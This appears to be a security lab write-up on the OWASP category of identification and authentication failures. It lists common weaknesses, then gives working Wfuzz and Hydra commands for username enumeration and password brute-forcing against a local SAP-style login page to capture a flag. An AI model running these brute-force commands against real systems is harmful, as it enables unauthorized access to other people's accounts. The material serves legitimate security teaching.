A07 - Identification and Authentication Failures

Weak identification and authentication mechanisms expose systems to identity theft and unauthorized access risks. This category now includes identification vulnerabilities alongside authentication errors.

Examples of Identification and Authentication Weaknesses

• Allows automated attacks, such as credential stuffing, where the attacker has a list of valid usernames and passwords.

• Enables brute-force or other automated attacks.

• Allows the use of default, weak, or well-known passwords, like "Password1" or "admin/admin."

• Employs weak or ineffective credential recovery mechanisms, such as knowledge-based answers that are insecure.

• Stores passwords in plain text, with weak encryption, or with weak hashing methods.

• Lacks multi-factor authentication or uses ineffective MFA.

• Exposes session identifiers in the URL.

• Reuses session identifiers after successful login.

• Fails to invalidate session tokens correctly, causing user sessions or authentication tokens (e.g., single sign-on tokens) to persist after logout or idle time.

Example: Login Page

Solution

In this scenario, we have an SAP login page that could be vulnerable to brute-force attacks. Using a list of default SAP usernames, we can attempt to find a valid username by brute-forcing with tools like Hydra or Wfuzz.

1) Username Enumeration: Start by fuzzing for valid usernames.

Using Wfuzz:

wfuzz -z file,/usr/share/wordlists/seclists/Usernames/sap-default-usernames.txt -d "username=FUZZ&password=test" http://localhost:8042/login.php

Using Hydra:

hydra -L /usr/share/wordlists/seclists/Usernames/sap-default-usernames.txt -p test -s 8042 localhost http-post-form "/login.php:username=^USER^&password=^PASS^:Incorrect username"

Once a valid username is found, proceed to brute-force its password.

2) Password Brute-Forcing: Use a common password list such as 10-million-password-list-top-100.txt or rockyou.txt.

Using Wfuzz:

wfuzz -z file,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt -d "username=<USER>&password=FUZZ" http://localhost:8042/login.php

Using Hydra:

hydra -l SOLMAN_ADMIN -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt -s 8042 localhost http-post-form "/login.php:username=^USER^&password=^PASS^:Incorrect password"

When the correct password is found, the application may reveal it by returning a response of different length or content, allowing you to determine the correct credentials.

3) One-Command Brute Force with Hydra: If targeting both usernames and passwords in a single command:

hydra -L /usr/share/wordlists/seclists/Usernames/sap-default-usernames.txt -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt -s 8042 localhost http-post-form "/login.php:username=^USER^&password=^PASS^:Incorrect"

Once the correct username and password are found, you gain access to the application and retrieve the flag.